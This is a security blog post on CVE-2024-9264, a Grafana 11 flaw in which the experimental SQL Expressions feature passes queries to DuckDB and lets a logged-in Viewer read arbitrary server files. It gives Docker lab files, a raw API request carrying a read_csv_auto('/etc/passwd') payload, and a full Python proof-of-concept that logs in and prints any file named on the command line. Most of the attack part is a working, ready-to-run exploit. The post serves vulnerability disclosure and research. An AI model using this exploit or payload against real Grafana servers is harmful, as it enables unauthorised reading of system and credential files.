z3k0sec
open main menu

CVE-2024-9264: Grafana Arbitrary File Read via SQL Expressions

/ 5 min read

In a recent discovery, a Grafana Labs engineer identified a Remote Code Execution (RCE) and Local File Inclusion (LFI) vulnerability which was introduced in Grafana 11 through an experimental feature called SQL Expressions.

What is SQL Expressions?

Grafana is a powerful open-source platform for data visualization, monitoring, and analytics, and it connects to a variety of data sources for flexible querying. As part of its experimental feature set, Grafana 11 introduced SQL Expressions. This feature allows users to post-process the output of data source queries by running SQL queries on the results.

Under the hood, this is achieved by passing the query and the data to the DuckDB Command Line Interface (CLI), which executes the SQL against the query results formatted as DataFrames. DuckDB is a lightweight in-process database management system designed for fast analytical queries, making it an attractive tool for post-processing data efficiently within Grafana.

Feature Enabled by Default Due to Incorrect Implementation

SQL Expressions is an experimental feature, which by design should be disabled by default. However, due to an incorrect implementation of feature flags, the feature was enabled by default on the API level. This meant that even if users were not actively using the SQL Expressions feature in the Grafana UI, it could still be accessed programmatically through the API.

Exploitation Conditions

  • Authenticated user with Viewer permissions and higher

  • DuckDB Binary in PATH has to be in Grafana’s $PATH environment variable

    Note: DuckDB is not bundled with Grafana by default.

Test Environment

Build a custom Docker with Grafana version 11.0.0 and install DuckDB and add it to the PATH.

# Dockerfile
FROM grafana/grafana:11.0.0-ubuntu

USER root

# Install DuckDB
RUN apt-get update && apt-get install -y && apt-get install unzip -y \
    wget \
    && wget https://github.com/duckdb/duckdb/releases/download/v0.8.1/duckdb_cli-linux-amd64.zip \
    && unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
    && chmod +x /usr/local/bin/duckdb \
    && rm duckdb_cli-linux-amd64.zip

# Add DuckDB to the PATH
ENV PATH="/usr/local/bin:${PATH}"

Spin up a test environment with our custom image and a MySQL instance.

services:
  mysql:
    image: mysql:latest
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=rootpassword
      - MYSQL_DATABASE=grafanadb
      - MYSQL_USER=grafana
      - MYSQL_PASSWORD=grafanapassword
    volumes:
      - ./mysql-data:/var/lib/mysql
    ports:
      - "3306:3306"
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      interval: 10s
      timeout: 5s
      retries: 3
  
  grafana:
    build: .
    ports:
      - "3000:3000"
    environment:
      - GF_SECURITY_ADMIN_PASSWORD=SecurePassword123!
      - GF_DATABASE_TYPE=mysql
      - GF_DATABASE_HOST=mysql:3306
      - GF_DATABASE_USER=grafana
      - GF_DATABASE_PASSWORD=grafanapassword
      - GF_DATABASE_NAME=grafanadb
    volumes:
      - grafana-storage:/var/lib/grafana
      - ./grafana.ini:/etc/grafana/grafana.ini

    depends_on:
        mysql:
         condition: service_healthy  
volumes:
  grafana-storage:
  mysql-storage:

Manual Approach

Create a custom dashboard with a Math or Reduce expression, intercept the request with BurpSuite, and modify the datasource type to sql.

POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
Content-Length: 368

{
  "from": "1696154400000",
  "to": "1696345200000",
  "queries": [
    {
      "datasource": {
        "name": "Expression",
        "type": "__expr__",
        "uid": "__expr__"
      },
      "expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ]
}

We use read_csv_auto() to read arbitrary files from the target system (here: /etc/passwd)

Proof-of-Concept

Here is an exploit which allows arbitrary file read on a server running a vulnerable Grafana instance. The vulnerability stems from the misuse of the SQL Expressions feature and allows the execution of unsanitized SQL queries through the DuckDB backend.

By sending a specially crafted query to Grafana’s API that instructs DuckDB to read and return the contents of a file on the server (e.g., /etc/passwd), the PoC demonstrates how an attacker could retrieve files on the system.

#!/usr/bin/env python3

"""
Grafana File Read PoC (CVE-2024-9264)
Author: z3k0sec // www.zekosec.com
"""


import requests
import json
import sys
import argparse

class Console:
    def log(self, msg):
        print(msg, file=sys.stderr)

console = Console()

def msg_success(msg):
    console.log(f"[SUCCESS] {msg}")

def msg_failure(msg):
    console.log(f"[FAILURE] {msg}")

def failure(msg):
    msg_failure(msg)
    sys.exit(1)

def authenticate(s, url, u, p):
    res = s.post(f"{url}/login", json={"password": p, "user": u})
    if res.json().get("message") == "Logged in":
        msg_success(f"Logged in as {u}:{p}")
    else:
        failure(f"Failed to log in as {u}:{p}")

def run_query(s, url, query):
    query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
    query_payload = {
        "from": "1696154400000",
        "to": "1696345200000",
        "queries": [
            {
                "datasource": {
                    "name": "Expression",
                    "type": "__expr__",
                    "uid": "__expr__"
                },
                "expression": query,
                "hide": False,
                "refId": "B",
                "type": "sql",
                "window": ""
            }
        ]
    }

    res = s.post(query_url, json=query_payload)
    data = res.json()

    # Handle unexpected response
    if "message" in data:
        msg_failure("Unexpected response:")
        msg_failure(json.dumps(data, indent=4))
        return None

    # Extract results
    frames = data.get("results", {}).get("B", {}).get("frames", [])

    if frames:
        values = [
            row
            for frame in frames
            for row in frame["data"]["values"]
        ]
        
        if values:
            msg_success("Successfully ran DuckDB query:")
            return values

    failure("No valid results found.")

def decode_output(values):
    return [":".join(str(i) for i in row if i is not None) for row in values]

def main(url, user="admin", password="admin", file=None):
    s = requests.Session()
    authenticate(s, url, user, password)
    file = file or "/etc/passwd"
    escaped_filename = requests.utils.quote(file)
    query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
    content = run_query(s, url, query)
    if content:
        msg_success(f"Retrieved file {file}:")
        for line in decode_output(content):
            print(line)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
    parser.add_argument("--url", help="URL of the Grafana instance to exploit")
    parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
    parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
    parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")


    args = parser.parse_args()
    main(args.url, args.user, args.password, args.file)

Github: https://github.com/z3k0sec/File-Read-CVE-2024-9264/